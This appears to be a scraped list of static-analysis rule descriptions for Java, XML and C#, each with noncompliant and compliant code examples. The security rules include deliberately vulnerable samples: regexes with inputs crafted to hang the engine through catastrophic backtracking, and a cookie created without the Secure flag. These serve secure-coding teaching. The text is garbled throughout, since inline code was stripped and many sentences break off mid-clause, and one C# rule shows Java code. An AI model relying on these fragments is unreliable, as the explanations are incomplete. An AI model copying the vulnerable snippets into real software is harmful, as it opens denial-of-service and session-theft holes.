Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesTo avoid
Sensitive Code ExampleThe first regex evaluation will never end in java.util.regex.Pattern.compile("(a+)+").matcher( "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ aaaaaaaaaaaaaaa!").matches(); // Sensitive java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*").matcher( "hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+ "cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+ "chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+ "chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+ "ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+ "iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Sensitive Compliant SolutionPossessive quantifiers do not keep backtracking positions, thus can be used, if possible, to avoid performance issues: java.util.regex.Pattern.compile("(a+)++").matcher( "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+ aaaaaaaaaaaaaaa!").matches(); // Compliant java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*+").matcher( "hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+ "cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+ "chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+ "chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+ "ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+ "iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5973 |
Unstable / flaky tests are tests which sometimes pass and sometimes fail, without any code change. Obviously, they slow down developments when engineers have to rerun failed tests. However the real problem is that you can't completely trust these tests, they might fail for many different reasons and you don't know if any of them will happen in production. Some tools, such as TestNG, enable developers to automatically retry flaky tests. This might be ok as a temporary solution, but it should definitely be fixed. The more flaky tests you add, the more chances there are for a bug to arrive in production. This rule raises an issue when the annotation Noncompliant Code Exampleimport org.testng.annotations.Test; public class PercentageTest { @Test(successPercentage = 80, invocationCount = 10) // Noncompliant. The test is allowed to fail 2 times. public void flakyTest() { } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2222 |
If a lock is acquired and released within a method, then it must be released along all execution paths of that method. Failing to do so will expose the conditional locking logic to the method's callers and hence be deadlock-prone. Noncompliant Code Examplepublic class MyClass { public void doSomething() { Lock lock = new Lock(); lock.lock(); // Noncompliant if (isInitialized()) { // ... lock.unlock(); } } } Compliant Solutionpublic class MyClass { public void doSomething() { Lock lock = new Lock(); if (isInitialized()) { lock.lock(); // ... lock.unlock(); } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3553 |
The Java language authors have been quite frank that And for that, it's valuable but using The rule also checks for Guava's Noncompliant Code Examplepublic String sayHello(Optional<String> name) { // Noncompliant if (name == null || !name.isPresent()) { return "Hello World"; } else { return "Hello " + name; } } Compliant Solutionpublic String sayHello(String name) { if (name == null) { return "Hello World"; } else { return "Hello " + name; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1132 |
It is preferable to place string literals on the left-hand side of an This prevents null pointer exceptions from being raised, as a string literal can never be null by definition. Noncompliant Code ExampleString myString = null; System.out.println("Equal? " + myString.equals("foo")); // Noncompliant; will raise a NPE System.out.println("Equal? " + (myString != null && myString.equals("foo"))); // Noncompliant; null check could be removed Compliant SolutionSystem.out.println("Equal?" + "foo".equals(myString)); // properly deals with the null case |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5970 |
The Spring framework comes with dedicated classes to help writing better and simpler unit tests. In particular, when testing applications built on
top of Spring MVC, it is recommended to use Spring's
This rule raises an issue when Spring's Noncompliant Code ExampleModelAndView mav = getMyModelAndView(); Assert.assertEquals("register", mav.getViewName()); Assert.assertTrue((Boolean) mav.getModelMap().get("myAttribute")); Assert.assertFalse((Boolean) mav.getModelMap().get("myAttribute")); Assert.assertEquals(myObject, mav.getModelMap().get("myAttribute")); Compliant SolutionModelAndView mav = getMyModelAndView(); ModelAndViewAssert.assertViewName(mav, "register"); ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", Boolean.TRUE); ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", Boolean.FALSE); ModelAndViewAssert.assertModelAttributeValue(mav, "myAttribute", myObject); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5850 |
In regular expressions, anchors ( In cases where it is intended that the anchors only apply to one alternative each, adding (non-capturing) groups around the anchors and the parts that they apply to will make it explicit which parts are anchored and avoid readers misunderstanding the precedence or changing it because they mistakenly assume the precedence was not intended. Noncompliant Code Example^a|b|c$ Compliant Solution^(?:a|b|c)$ or ^a$|^b$|^c$ or, if you do want the anchors to only apply to (?:^a)|b|(?:c$) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2221 |
Catching This rule raises an issue if Noncompliant Code Exampletry { // do something that might throw an UnsupportedDataTypeException or UnsupportedEncodingException } catch (Exception e) { // Noncompliant // log exception ... } Compliant Solutiontry { // do something } catch (UnsupportedEncodingException|UnsupportedDataTypeException|RuntimeException e) { // log exception ... } or if runtime exceptions should not be caught: try { // do something } catch (UnsupportedEncodingException|UnsupportedDataTypeException e) { // log exception ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1133 |
This rule is meant to be used as a way to track code which is marked as being deprecated. Deprecated code should eventually be removed. Noncompliant Code Exampleclass Foo { /** * @deprecated */ public void foo() { // Noncompliant } @Deprecated // Noncompliant public void bar() { } public void baz() { // Compliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampleint divide(int numerator, int denominator) { return numerator / denominator; // FIXME denominator value might be 0 } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch (param) { case 0: doSomething(); break; default: // default clause should be the last one error(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5976 |
When multiple tests differ only by a few hardcoded values they should be refactored as a single "parameterized" test. This reduces the chances of adding a bug and makes them more readable. Parameterized tests exist in most test frameworks (JUnit, TestNG, etc...). The right balance needs of course to be found. There is no point in factorizing test methods when the parameterized version is a lot more complex than initial tests. This rule raises an issue when at least 3 tests could be refactored as one parameterized test with less than 4 parameters. Only test methods which have at least one duplicated statement are considered. Noncompliant Code Examplewith JUnit 5 import static org.junit.jupiter.api.Assertions.assertEquals; import org.junit.jupiter.api.Test; public class AppTest { @Test void test_not_null1() { // Noncompliant. The 3 following tests differ only by one hardcoded number. setupTax(); assertNotNull(getTax(1)); } @Test void test_not_null2() { setupTax(); assertNotNull(getTax(2)); } @Test void test_not_nul3l() { setupTax(); assertNotNull(getTax(3)); } @Test void testLevel1() { // Noncompliant. The 3 following tests differ only by a few hardcoded numbers. setLevel(1); runGame(); assertEquals(playerHealth(), 100); } @Test void testLevel2() { // Similar test setLevel(2); runGame(); assertEquals(playerHealth(), 200); } @Test void testLevel3() { // Similar test setLevel(3); runGame(); assertEquals(playerHealth(), 300); } } Compliant Solutionimport static org.junit.jupiter.api.Assertions.assertEquals; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.CsvSource; public class AppTest { @ParameterizedTest @ValueSource(ints = {1, 2, 3}) void test_not_null(int arg) { setupTax(); assertNotNull(getTax(arg)); } @ParameterizedTest @CsvSource({ "1, 100", "2, 200", "3, 300", }) void testLevels(int level, int health) { setLevel(level); runGame(); assertEquals(playerHealth(), health); } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5856 |
Regular expressions have their own syntax that is understood by regular expression engines. Those engines will throw an exception at runtime if they are given a regular expression that does not conform to that syntax. To avoid syntax errors, special characters should be escaped with backslashes when they are intended to be matched literally and references to capturing groups should use the correctly spelled name or number of the group. To match a literal string, rather than a regular expression, either all special characters should be escaped or the Noncompliant Code ExamplePattern.compile("(["); str.matches("(["); str.replaceAll("([", "{"); str.matches("(\\w+-(\\d+)"); str.matches("(?<name>\\w+)-\\k<nae>"); Compliant SolutionPattern.compile("\\(\\["); Pattern.compile("([", Pattern.LITERAL); str.equals("(["); str.replace("([", "{"); str.matches("(\\w+)-(\\d+)"); str.matches("(?<name>\\w+)-\\k<name>"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplevoid doSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5977 |
Tests should always:
Using random values in tests will not necessarily check edge cases, and it will make test logs a lot harder to read. It is better to use easily readable hardcoded values. If this makes your code bigger you can use helper functions. There is one valid use case for random data in tests: when testing every value would make tests impractically slow. In this case the best you can do is use random to test every value on the long run. You should however make sure that random values are logged so that you can reproduce failures. Some libraries exist to make all this easier. You can for example use property-based testing libraries such as jqwik. This rule raises an issue when Noncompliant Code Exampleint userAge = new Random().nextInt(42); // Noncompliant UUID userID = UUID.randomUUID(); // Noncompliant Compliant Solutionint userAge = 31; UUID userID = UUID.fromString("00000000-000-0000-0000-000000000001"); See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2589 |
If a boolean expression doesn't change the evaluation of the condition, then it is entirely unnecessary, and can be removed. If it is gratuitous because it does not match the programmer's intent, then it's a bug and the expression should be fixed. Noncompliant Code Examplea = true; if (a) { // Noncompliant doSomething(); } if (b && a) { // Noncompliant; "a" is always "true" doSomething(); } if (c || !a) { // Noncompliant; "!a" is always "false" doSomething(); } Compliant Solutiona = true; if (foo(a)) { doSomething(); } if (b) { doSomething(); } if (c) { doSomething(); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2226 |
By contract, a servlet container creates one instance of each servlet and then a dedicated thread is attached to each new incoming HTTP request to
process the request. So all threads share the servlet instances and by extension their instance fields. To prevent any misunderstanding and unexpected
behavior at runtime, all servlet fields should then be either With Struts 1.X, the same constraint exists on Noncompliant Code Examplepublic class MyServlet extends HttpServlet { private String userName; //As this field is shared by all users, it's obvious that this piece of information should be managed differently ... } or public class MyAction extends Action { private String userName; //Same reason ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3436 |
According to the documentation, A program may produce unpredictable results if it attempts to distinguish two references to equal values of a value-based class, whether directly via reference equality or indirectly via an appeal to synchronization... This is because value-based classes are intended to be wrappers for value types, which will be primitive-like collections of data (similar to
Which means that you can't be sure you're the only one trying to lock on any given instance of a value-based class, opening your code up to contention and deadlock issues. Under Java 8 breaking this rule may not actually break your code, but there are no guarantees of the behavior beyond that. This rule raises an issue when a known value-based class is used for synchronization. That includes all the classes in the Note that this rule is automatically disabled when the project's Noncompliant Code ExampleOptional<Foo> fOpt = doSomething(); synchronized (fOpt) { // Noncompliant // ... } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5853 |
AssertJ assertions methods targeting the same object can be chained instead of using multiple This rule raises an issue when multiples Noncompliant Code ExampleassertThat(someList).hasSize(3); assertThat(someList).contains("something"); Compliant SolutionassertThat(someList) .hasSize(3) .contains("something"); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1258 |
Non-abstract classes and enums with non- Noncompliant Code Exampleclass A { // Noncompliant private int field; } Compliant Solutionclass A { private int field; A(int field) { this.field = field; } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5854 |
Characters like Noncompliant Code ExampleString s = "e\u0300"; Pattern p = Pattern.compile("é|ë|è"); // Noncompliant System.out.println(p.matcher(s).replaceAll("e")); // print 'é' Compliant SolutionString s = "e\u0300"; Pattern p = Pattern.compile("é|ë|è", Pattern.CANON_EQ); System.out.println(p.matcher(s).replaceAll("e")); // print 'e' |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5612 |
Lambdas (introduced with Java 8) are a very convenient and compact way to inject a behavior without having to create a dedicated class or method. But those lambdas should be used only if the behavior to be injected can be defined in a few lines of code, otherwise the source code can quickly become unreadable. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2225 |
Calling Noncompliant Code Examplepublic String toString () { if (this.collection.isEmpty()) { return null; // Noncompliant } else { // ... Compliant Solutionpublic String toString () { if (this.collection.isEmpty()) { return ""; } else { // ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S1778 |
The prolog header is the following piece of code that some XML documents start with: <?xml version="y.x" encoding="zzzzz"?> When the prolog exists in an XML document, it should be at the beginning of the file to enable programs to determine the encoding of non-UTF-8, non-UTF-16 files. Noncompliant Code Example<!-- Generated file --> <!-- Noncompliant --> <?xml version="1.0" encoding="UTF-8"?> <firstNode> content </firstNode> Compliant Solution<?xml version="1.0" encoding="UTF-8"?> <!-- Generated file --> <firstNode> content </firstNode> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S2260 |
When the XML parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:NewlineCheck |
Each element should be on a line to itself. Noncompliant Code Example<parent><child /></parent> <!-- Noncompliant --> Compliant Solution<parent> <child /> </parent> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:IndentCheck |
Proper indentation is a simple and effective way to improve the code's readability. Consistent indentation among the developers within a team also reduces the differences that are committed to source control systems, making code reviews easier. By default this rule checks that each block of code is indented, although it does not check the size of the indent. Parameter "indentSize" allows the expected indent size to be defined. Only the first line of a badly indented section is reported. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:XPathCheck |
This rule allows the definition of custom rules using XPath expressions. Issues are created depending on the return value of the XPath expression. If the XPath expression returns:
Here is an example of an XPath expression to log an issue on each 'td' tag using the 'nowrap' deprecated attribute: //td[@nowrap] |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S125 |
Programmers should not comment out code as it bloats programs and reduces readability. Unused code should be deleted and can be retrieved from source control history if required. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:IllegalTabCheck |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Example<!-- FIXME we should update version to 3.8.1 --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.6</version> </dependency> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
xml:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Example<!-- TODO Drop this dependency --> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-lang3</artifactId> <version>3.8.1</version> </dependency> See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleIn C# you can specify the secure flag with the HttpCookie.secure property: HttpCookie myCookie = new HttpCookie("Sensitive cookie"); myCookie.Secure = false; // Sensitive: a security-sensitive cookie is created with the secure flag set to false The default value of
HttpCookie myCookie = new HttpCookie("Sensitive cookie"); // Sensitive: a security-sensitive cookie is created with the secure flag not defined (by default set to false) Compliant SolutionHttpCookie myCookie = new HttpCookie("Sensitive cookie"); myCookie.Secure = true; // Compliant: the security-sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (Secure property) set to true See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3060 |
There's no valid reason to test Noncompliant Code Examplepublic class JunkFood { public void DoSomething() { if (this is Pizza) // Noncompliant { // ... } else if (... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4275 |
Properties provide a way to enforce encapsulation by providing This rule raises an issue in any of these cases:
For simple properties it is better to use auto-implemented properties (C# 3.0 or later). Field and property names are compared as case-insensitive. All underscore characters are ignored. Noncompliant Code Exampleclass A { private int x; private int y; public int X { get { return x; } set { x = value; } } public int Y { get { return x; } // Noncompliant: field 'y' is not used in the return value set { x = value; } // Noncompliant: field 'y' is not updated } } Compliant Solutionclass A { private int x; private int y; public int X { get { return x; } set { x = value; } } public int Y { get { return y; } set { y = value; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3869 |
Not surprisingly, the Noncompliant Code Examplestatic void Main(string[] args) { System.Reflection.FieldInfo fieldInfo = ...; SafeHandle handle = (SafeHandle)fieldInfo.GetValue(rKey); IntPtr dangerousHandle = handle.DangerousGetHandle(); // Noncompliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4834 |
The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities: Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesAt minimum, an access control system should:
Sensitive Code Exampleusing System.Threading; using System.Security.Permissions; using System.Security.Principal; using System.IdentityModel.Tokens; class SecurityPrincipalDemo { class MyIdentity : IIdentity // Sensitive, custom IIdentity implementations should be reviewed { // ... } class MyPrincipal : IPrincipal // Sensitive, custom IPrincipal implementations should be reviewed { // ... } [System.Security.Permissions.PrincipalPermission(SecurityAction.Demand, Role = "Administrators")] // Sensitive. The access restrictions enforced by this attribute should be reviewed. static void CheckAdministrator() { WindowsIdentity MyIdentity = WindowsIdentity.GetCurrent(); // Sensitive HttpContext.User = ...; // Sensitive: review all reference (set and get) to System.Web HttpContext.User AppDomain domain = AppDomain.CurrentDomain; domain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); // Sensitive MyIdentity identity = new MyIdentity(); // Sensitive MyPrincipal MyPrincipal = new MyPrincipal(MyIdentity); // Sensitive Thread.CurrentPrincipal = MyPrincipal; // Sensitive domain.SetThreadPrincipal(MyPrincipal); // Sensitive // All instantiation of PrincipalPermission should be reviewed. PrincipalPermission principalPerm = new PrincipalPermission(null, "Administrators"); // Sensitive principalPerm.Demand(); SecurityTokenHandler handler = ...; // Sensitive: this creates an identity. ReadOnlyCollection<ClaimsIdentity> identities = handler.ValidateToken(…); } // Sensitive: review how this function uses the identity and principal. void modifyPrincipal(MyIdentity identity, MyPrincipal principal) { // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1206 |
There is a contract between In order to comply with the contract, Noncompliant Code Exampleclass MyClass { // Noncompliant - should also override "hashCode()" @Override public boolean equals(Object obj) { /* ... */ } } Compliant Solutionclass MyClass { // Compliant @Override public boolean equals(Object obj) { /* ... */ } @Override public int hashCode() { /* ... */ } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3626 |
Jump statements, such as Noncompliant Code Examplevoid Foo() { goto A; // Noncompliant A: while (condition1) { if (condition2) { continue; // Noncompliant } else { DoTheThing(); } } return; // Noncompliant; this is a void method } Compliant Solutionvoid Foo() { while (condition1) { if (!condition2) { DoTheThing(); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1449 |
Calls without a culture may work fine in the system's "home" environment, but break in ways that are extremely difficult to diagnose for customers who use different encodings. Such bugs can be nearly, if not completely, impossible to reproduce when it's time to fix them. Noncompliant Code Examplevar lowered = someString.ToLower(); //Noncompliant Compliant Solutionvar lowered = someString.ToLower(CultureInfo.InvariantCulture); or var lowered = someString.ToLowerInvariant(); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4035 |
When a class implements the Alternatively This rule raises an issue when a unsealed, Noncompliant Code Exampleusing System; namespace MyLibrary { class Base : IEquatable<Base> // Noncompliant { bool Equals(Base other) { if (other == null) { return false }; // do comparison of base properties } override bool Equals(object other) => Equals(other as Base); } class A : Base { bool Equals(A other) { if (other == null) { return false }; // do comparison of A properties return base.Equals(other); } override bool Equals(object other) => Equals(other as A); } class B : Base { bool Equals(B other) { if (other == null) { return false }; // do comparison of B properties return base.Equals(other); } override bool Equals(object other) => Equals(other as B); } static void Main() { A a = new A(); B b = new B(); Console.WriteLine(a.Equals(b)); // This calls the WRONG equals. This causes Base::Equals(Base) // to be called which only compares the properties in Base and ignores the fact that // a and b are different types. In the working example A::Equals(Object) would have been // called and Equals would return false because it correctly recognizes that a and b are // different types. If a and b have the same base properties they will be returned as equal. } } Compliant Solutionusing System; namespace MyLibrary { public sealed class Foo : IEquatable<Foo> { public bool Equals(Foo other) { // Your code here } } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4158 |
When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation. This rule raises an issue when any use is made of an empty collection other than the following ignored calls: Noncompliant Code Examplevar strings = new List<string>(); strings.Remove("bar"); // Noncompliant if (strings.Contains("foo")) {} // Noncompliant foreach (var str in strings) {} // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3981 |
The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or
equal to zero doesn't make sense, since the result is always Noncompliant Code Exampleif(collection.Count >= 0){...} if(enumerable.Count() < 0){...} if(array.Length >= 0){...} bool result = array.Length >=0; Compliant Solutionif (list.Any()) { ... } if (list.Count > 0) { ... } if (array.Length >= 42) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4277 |
Marking a class with This rule raises an issue when a constructor of a class marked shared with a Noncompliant Code Example[Export(typeof(IFooBar))] [PartCreationPolicy(CreationPolicy.Shared)] public class FooBar : IFooBar { } public class Program { public static void Main() { var fooBar = new FooBar(); // Noncompliant; } } Compliant Solution[Export(typeof(IFooBar))] [PartCreationPolicy(CreationPolicy.Shared)] public class FooBar : IFooBar { } public class Program { public static void Main() { var fooBar = serviceProvider.GetService<IFooBar>(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S1200 |
According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:
Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones. Nested classes dependencies are not counted as dependencies of the outer class. Noncompliant Code ExampleWith a threshold of 5: public class Foo // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7 { private T1 a1; // Foo is coupled to T1 private T2 a2; // Foo is coupled to T2 private T3 a3; // Foo is coupled to T3 public T4 Compute(T5 a, T6 b) // Foo is coupled to T4, T5 and T6 { T7 result = a.Process(b); // Foo is coupled to T7 return result; } public static class Bar // Compliant - Bar depends on 2 classes: T8 and T9 { public T8 a8; public T9 a9; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S3984 |
Creating a new Noncompliant Code Exampleif (x < 0) { new ArgumentException("x must be nonnegative"); } Compliant Solutionif (x < 0) { throw new ArgumentException("x must be nonnegative"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
csharpsquid:S4039 |
When a base type explicitly implements a public interface method, that method is only accessible in derived types through a reference to the
current instance (namely This rule raises an issue when an unsealed, externally visible type provides an explicit method implementation of a Noncompliant Code Examplepublic interface IMyInterface { void MyMethod(); } public class Foo : IMyInterface { void IMyInterface.MyMethod() // Noncompliant { MyMethod(); } void MyMethod() { // Do something ... } } public class Bar : Foo, IMyInterface { public void MyMethod() { // Can't access base.MyMethod() // ((IMyInterface)this).MyMethod() would be a recursive call } } Compliant Solutionpublic interface IMyInterface { void MyMethod(); } public class Foo : IMyInterface { void IMyInterface.MyMethod() { MyMethod(); } protected void MyMethod() // or public { // Do something ... } } public class Bar : Foo, IMyInterface { public void MyMethod() { // Do something base.MyMethod(); } } ExceptionsThis rule does not report a violation for an explicit implementation of |
